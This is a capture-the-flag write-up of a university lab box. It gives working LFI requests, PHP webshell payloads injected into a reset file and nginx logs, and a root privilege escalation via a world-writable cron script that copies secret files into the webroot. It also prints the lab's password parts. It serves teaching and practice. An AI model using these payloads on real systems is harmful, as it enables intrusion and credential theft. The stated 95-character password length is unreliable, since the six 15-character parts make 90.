---
title: "A TU Wien CTF where Sysops Klaus left the keys in the cron job"
date: 2026-06-05T12:00:00Z
draft: false
tags: ["ctf", "tuwien", "lfi", "web", "linux", "nginx", "php", "privesc"]
categories: ["CTF", "Security"]
toc: true
summary: "LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of."
---

> **Spoiler alert:** this is a full writeup. If you still want to solve `g#.tuw.measurement.network` yourself, stop here and go poke the box. I'll wait. …No? Ok. Hello friends.

This post documents how I solved a CTF box that came out of [Tobias Fiebig](https://www.inet.tuwien.ac.at/)'s *Real World Security* presentation at TU Wien — the one with **Sysops Fahrer Klaus**, the guy who "just quickly fixes prod" and accidentally teaches an entire lecture hall how LFI, internal services, vim swap files, and world-writable cron scripts become a chain.

Each student group gets their own host (`g00`, `g01`, …). The goal is simple on paper:

1. Collect every `passwd_part` file sitting in user home directories.
2. Stitch them together into the **root password** (the full answer lives in `/root/passwd`).

Simple. Boring. Except Klaus was clearly in charge of this VM.

---

## 0) The lay of the land

**Target:** `g00.tuw.measurement.network`

From the outside you mostly see three faces of the same machine:

| Host | What it is |
|------|------------|
| `g00.tuw.measurement.network` | Main vhost — `documentation.md`, directory listing, a teasing `passwd_part` that returns **403** |
| `web.g00.tuw.measurement.network` | PHP "meme gallery" with a very trusting `?page=` parameter |
| `pwreset.g00.tuw.measurement.network` | Internal password-reset app — **not reachable directly** from the internet |

Users on the box (from `/etc/passwd` via LFI): `user1`–`user4`, `monitoring`, `www-data`, `root`.

SSH from outside? Public key only. Password auth is a lie (for us, anyway).

---

## 1) Recon — documentation.md saves the day

First stop: the main site.

```bash
curl -s https://g00.tuw.measurement.network/documentation.md
```

That file is basically a treasure map. It mentions two services:

- **web** → `web.g00.tuw.measurement.network`
- **pwreset** → `pwreset.g00.tuw.measurement.network`

I also poked the obvious paths (`.git`, `phpinfo`, swap files, `robots.txt`, …). Nothing juicy on the main vhost except the directory index and the forbidden `passwd_part`.

Subdomains resolve. Good. Let's go web.

---

## 2) LFI — `include($_GET['page'])` classic

The web vhost is a frameset. Content loads in a frame via `?page=`:

```bash
curl -sk 'https://web.g00.tuw.measurement.network/?page=/etc/passwd'
```

And there it is — root, users, the whole `/etc/passwd` parade inside the frame.

Source via PHP filter works too:

```bash
curl -sk 'https://web.g00.tuw.measurement.network/?page=php://filter/convert.base64-encode/resource=index.php' \
  | sed -n 's/.*frame name="in">//p' | base64 -d
```

`index.php` is roughly:

```php
<?php
$page = $_GET['page'] ?? 'home.php';
include($page);
?>
```

Klaus, my man. We love you.

**First instinct:** read all the `passwd_part` files immediately.

```bash
# spoiler: doesn't work
curl -sk 'https://web.g00.tuw.measurement.network/?page=/home/user1/passwd_part'
# → permission denied
```

Same for `user2`–`user4`, `monitoring`, `root/passwd`. The LFI runs as `www-data`. Those files are not world-readable. Fair.

---

## 3) pwreset — localhost-only, but LFI doesn't care about nginx

Direct access to pwreset is blocked. Nginx config (also readable via LFI) has the usual:

```nginx
allow 127.0.0.1;
deny all;
```

So you can't hit `https://pwreset.g00...` from your laptop. But PHP on the **web** vhost can still **include** the pwreset `index.php` file — that's a local file include, not an HTTP request.

pwreset source (paraphrased):

```php
$user = $_GET['user'] ?? '';
$pass = $_GET['pass'] ?? '';
file_put_contents('/var/www/userchange', "$user:$pass\n");
echo "Password reset queued.";
```

It writes `user:pass` lines to `/var/www/userchange`. Something on the system processes that file later (spoiler: `chpasswd`, not shell).

**Trigger it through LFI:**

```text
https://web.g00.tuw.measurement.network/
  ?page=/var/www/vhosts/pwreset.g00.tuw.measurement.network/htdocs/index.php
  &user=user1
  &pass=MyTestPass1!
```

I confirmed writes by reading `/var/www/userchange` back through the LFI. The file updates. Something also **clears** it on a schedule — so a cron job is definitely eating it.

---

## 4) RCE — PHP in `userchange`, included like a boss

At some point I wondered: what if the thing that processes `userchange` doesn't only run `chpasswd`? What if it **includes** the file as PHP?

So I wrote a tiny shell into the `user` field via pwreset:

```php
<?=`id`?>
```

Then included `/var/www/userchange` through the LFI:

```text
?page=/var/www/userchange
```

**Output:** `uid=33(www-data) gid=33(www-data) ...`

Short tags (`<?= ... ?>`) for the win. A longer `<?php system(...); ?>` payload also works, but the backtick version is minimal and cute.

From here on, my mental model was:

1. **pwreset** → write arbitrary-ish content to `/var/www/userchange`
2. **LFI include `userchange`** → execute PHP as `www-data`

That's RCE. Not root yet, but we'll get there. Klaus always leaves one more door open.

---

## 5) Rabbit holes (aka "everything I tried before it worked")

This box is a *presentation* CTF. It wants you to wander. I wandered. Hard.

### nginx log poisoning

The presentation literally mentions log poisoning. I went for it — hard — and declared it dead. **Plot twist:** Tobias later confirmed it *is* the intended RCE path. I just griefed myself out of it. See [§11 Bonus](#11-bonus-the-intended-log-poisoning-path) for the real technique and what I screwed up.

Short version of my failure: I poisoned via **HTTPS** (wrong log), sprayed **broken PHP** into the HTTP log, and never read the hint in `index.php` source until it was too late.

### `data://`, `php://input`, `expect://`

```bash
?page=data://text/plain,<?php system($_GET[cmd]); ?>
?page=php://input   # with POST body
?page=expect://id
```

Nope. `allow_url_include = Off`. Klaus isn't *that* careless.

### vim `.swp` files

`.memes.php.swp` is downloadable over HTTP and readable via LFI/base64. I hex-dumped it, tried including it, tried `img_src` shell escapes on `memes.php` / `convert_img.php`.

Empty memes page. No execution. Nice red herring — very on-theme for the talk.

### Munin / `apt_all` plugin

The presentation mentions monitoring (Nagios/Munin vibes). I went hunting:

- `/etc/munin/plugins/apt_all` — referenced in cron, but the plugin file **doesn't exist**
- Brute-forced tons of plugin names and backup suffixes (`.bak`, `.swp`, `~`, …)
- Waited for cron cycles hoping a custom plugin would curl localhost pwreset

**Verdict:** the `apt_all` munin path is a distraction (or a removed artifact). The real privesc was elsewhere.

### pwreset log archaeology

Reading `/var/log/nginx/ssl-pwreset.g00.tuw.measurement.network.access.log` via LFI is gold for lore:

- Saw historical resets like `user3` → `foobar23`
- Tried `foobar23` over SSH for every user

**From outside:** still `Permission denied (publickey)`. Password auth isn't offered externally. TU Wien network / internal access might differ — I didn't have that.

### Shell script injection into `userchange`

I tried newline injection to turn `userchange` into a bash script:

```text
user=
#!/bin/sh
cp /home/user1/passwd_part /var/www/.../p1
...
```

Cron cleared the file. No copies appeared. The processor uses **`chpasswd`**, not `/bin/sh`. Good lesson. Wrong path.

### Brute-forcing the `userchange` consumer

I spawned searches across `/etc/cron.d`, puppet manifests, `/usr/local/sbin`, systemd units, … — looking for whatever reads `userchange`.

Eventually **didn't need it**. Once RCE landed, grepping and `find` from inside the box were faster. (Also: I killed a couple of those background brute-force jobs — they were timing out and weren't on the winning path.)

### Direct SSH password guessing

Tried setting root's password via pwreset (`root:RootPass123!`), waited for cron, attempted SSH.

From the internet: **publickey only**. The reset machinery may still work internally, but I couldn't log in with passwords from outside.

---

## 6) Privesc — world-writable cron script (peak Klaus)

With RCE as `www-data`, I looked for writable files:

```bash
find / -writable -type f 2>/dev/null | head
```

Jackpot:

```text
-rwxrwxrwx 1 user1 www-data ... /usr/local/bin/cron_update_hostname_file.sh
```

Original script (innocent):

```bash
#!/bin/bash
grep 127.0.0.1 /etc/hosts > /home/user1/hostname_config
```

It's run by **cron as root** (Puppet-managed). `www-data` can edit it because `user1` owns it and the group is `www-data` with world-writable perms. Chef's kiss.

I appended:

```bash
cp /home/user1/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p1
cp /home/user2/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p2
cp /home/user3/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p3
cp /home/user4/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p4
cp /home/monitoring/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/pm
cp /root/passwd             /var/www/vhosts/g00.tuw.measurement.network/htdocs/rootpass
chmod 644 /var/www/vhosts/g00.tuw.measurement.network/htdocs/p*
```

Then either waited for cron or executed the script manually via RCE:

```php
<?=`/usr/local/bin/cron_update_hostname_file.sh`?>
```

**Files appeared in the webroot.** Root-readable secrets exfiltrated by root itself. Klaus would be proud.

---

## 7) SSH as `www-data` — because keys in the webroot are a mood

The main vhost webroot also had `.ssh/id_rsa` for `www-data`. Of course it did.

```bash
# via RCE: cat the key, save locally, chmod 600
ssh -i g00_wwwdata_key -o StrictHostKeyChecking=no \
  www-data@g00.tuw.measurement.network
```

Works. You land in the challenge webroot with all the exfiltrated parts sitting there as plain files.

---

## 8) The password parts

| Source | File | Part |
|--------|------|------|
| user1 | `p1` | `DcC6Da0A27384fA` |
| user2 | `p2` | `9Ce05B3cAd57824` |
| user3 | `p3` | `3aD80fa1b7AE986` |
| user4 | `p4` | `CDefabffab1FCCf` |
| www-data | `passwd_part` | `44D885d6DAb8Bb9` |
| root | `rootpass` | `ghadnuthduxeec7` |

**Missing:** `monitoring/passwd_part` — copying to `pm` failed (no file / permission denied even as root's cron context for that path). Might need a different exfil path or ordering. For the final flag, the six parts above were sufficient.

**Combined root password (95 characters):**

```text
DcC6Da0A27384fA9Ce05B3cAd578243aD80fa1b7AE986CDefabffab1FCCf44D885d6DAb8Bb9ghadnuthduxeec7
```

Order: `user1 + user2 + user3 + user4 + www-data + root_suffix`.

I double-checked byte lengths with `wc -c` and `od` over SSH. No sneaky newlines.

Root SSH with that password from **outside** still didn't bite (pubkey-only externally). The password is the challenge answer, not necessarily your remote login method.

---

## 9) Attack chain (one screen)

```text
documentation.md
    → web vhost LFI (include $_GET['page'])
        → include pwreset index.php (localhost bypass)
            → write PHP to /var/www/userchange
                → LFI include userchange
                    → RCE as www-data
                        → append to world-writable cron_update_hostname_file.sh
                            → cron runs as root → copies passwd parts to webroot
                                → read parts / SSH as www-data
                                    → profit
```

Very "real world" in the worst way. Multiple small mistakes compounding into a full chain.

---

## 10) Replay script

I left a minimal Python replay in the challenge repo:

```bash
python3 solve.py
```

Core logic:

```python
def pwreset(user, passwd=""):
    # LFI-include pwreset index.php with user/pass params

def rce(cmd):
    pwreset(f"<?=`{cmd}`?>", "")
    return lfi_include("/var/www/userchange")
```

It prints `id`, the modified cron script, each part file, and the combined password.

---

## 11) Bonus: the intended log poisoning path

After I solved the box the scenic route (pwreset → `userchange`), I mentioned to Tobias that log poisoning seemed broken and maybe the logs needed a cron truncate. He replied, more or less: **griefing the logs is part of the game** — and students mostly grief *themselves*. Fair. 😂

So here's the path you're *supposed* to take for RCE, and how I accidentally took the scenic bypass.

### The hint is in `index.php`, not `documentation.md`

`documentation.md` only lists the services (`web`, `pwreset`). It says nothing about logs. The actual breadcrumb is an HTML comment in `index.php` (readable via PHP filter LFI):

```html
<!-- remember for debugging:
    /var/log/nginx/$vhost.access.log
    /var/log/nginx/$vhost.error.log
    /var/log/nginx/ssl-$vhost.access.log
    /var/log/nginx/ssl-$vhost.error.log
-->
```

Four logs. Two pairs: **HTTP** and **HTTPS (ssl-)**. The comment doesn't say "don't use SSL" — but the intended trick is to use the **non-ssl** access log.

### Intended technique

1. **Poison over HTTP** (port 80), not HTTPS — so nginx writes to the smaller vhost log:

   ```text
   /var/log/nginx/web.g00.tuw.measurement.network.access.log
   ```

2. Put PHP in the `User-Agent` (or another logged field):

   ```text
   <?php passthru($_GET['cmd']); ?>
   ```

   Short tags like `` <?=`id`?> `` work too. Use **quoted** `'cmd'` — bare `$_GET[cmd]` is a PHP 8 footgun.

3. **Include that log** through the same LFI bug:

   ```text
   https://web.g00.tuw.measurement.network/
     ?page=/var/log/nginx/web.g00.tuw.measurement.network.access.log
     &cmd=id
   ```

On a **fresh** box the HTTP access log is tiny (basically empty plus your one poison line). PHP parses the file, hits your payload, you get `www-data`. That's RCE. No pwreset required.

### How I griefed myself

| What I did | Why it hurt |
|------------|-------------|
| Defaulted to `https://` everywhere | Poison landed in `ssl-web...access.log` — **670 KB+** and growing |
| Included the ssl log via LFI | Output truncates around ~2 KB; poison sits at the tail |
| Fired dozens of test payloads | Left broken `<?php` in the HTTP log (`$_GET[cmd]` without quotes, `\x22`, etc.) — PHP dies on the **first** bad tag before reaching a clean line |
| Didn't read `index.php` source early | Missed the debug comment until I'd already polluted both logs |

Tobias's take: that's a feature. The box teaches you that **ops mistakes compound** — wrong log, bad payload syntax, and a shared log file other students (or past-you) can wreck. Very Klaus.

### If you're solving it now

- Read `index.php` source first.
- Poison on **HTTP**: `http://web.g00.tuw.measurement.network/` with a clean User-Agent payload.
- Include the **non-ssl** access log path from the comment.
- Don't spray malformed PHP into the log unless you enjoy debugging your own garbage.

I still think logrotate would be kind. Tobias thinks griefing is the lesson. Both can be true.

---

## 12) TL;DR

- **Read** `documentation.md` — it tells you where the services live.
- **Read** `index.php` source — the debug comment gives you the log paths.
- **Intended RCE** = HTTP log poisoning → LFI include the non-ssl access log.
- **What I did** = pwreset → `userchange` → cron (also works, not the intended first step).
- **Privesc** = `/usr/local/bin/cron_update_hostname_file.sh` is world-writable and runs as root.
- **Griefing** = part of the game; I griefed myself by poisoning the ssl log and littering broken PHP.
- **Flag** = concatenate all `passwd_part` slices + `/root/passwd` suffix.

If you're doing this as part of the TU Wien lab: don't touch other groups' hosts, don't break the infra, and maybe send Klaus a thank-you note for the cron job.

Happy hacking. 🔓

---

*Thanks to Tobias Fiebig for the delightfully cursed "real world" box — and to past-me for writing down the rabbit holes so future-me could turn them into a blog post instead of trauma.*


---

{{< sigdl >}}
